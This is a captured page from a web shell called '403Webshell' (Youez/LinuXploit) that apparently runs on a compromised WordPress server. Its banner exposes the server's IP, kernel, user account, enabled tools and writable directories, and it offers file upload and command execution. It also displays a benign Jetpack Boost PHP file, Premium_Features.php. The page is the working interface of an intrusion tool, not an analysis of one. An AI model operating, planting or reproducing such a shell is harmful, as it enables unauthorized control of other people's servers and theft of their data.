403Webshell
Server IP : 209.16.87.222  /  Your IP : 216.73.216.140
Web Server : Apache/2.4.68 (Debian)
System : Linux 797b534c095b 6.18.38-Unraid #1 SMP PREEMPT_DYNAMIC Mon Jul 6 15:22:03 PDT 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/jetpack-boost/app/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/jetpack-boost/app/lib/Premium_Features.php
<?php

namespace Automattic\Jetpack_Boost\Lib;

class Premium_Features {

	const CLOUD_CSS        = 'cloud-critical-css';
	const PRIORITY_SUPPORT = 'support';

	const TRANSIENT_KEY = 'premium_features';

	public static function has_feature( $feature ) {
		$features = self::get_features();
		$result   = in_array( $feature, $features, true );

		return apply_filters( "jetpack_boost_has_feature_$feature", $result );
	}

	public static function get_features() {
		$features = Transient::get( self::TRANSIENT_KEY, false );

		if ( ! is_array( $features ) ) {
			$features = Boost_API::get( 'features' );
			if ( ! is_array( $features ) ) {
				$features = array();
			}
			Transient::set( self::TRANSIENT_KEY, $features, 3 * DAY_IN_SECONDS );
		}

		return $features;
	}

	public static function has_any() {
		return count( self::get_features() ) > 0;
	}

	public static function clear_cache() {
		Transient::delete( self::TRANSIENT_KEY );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit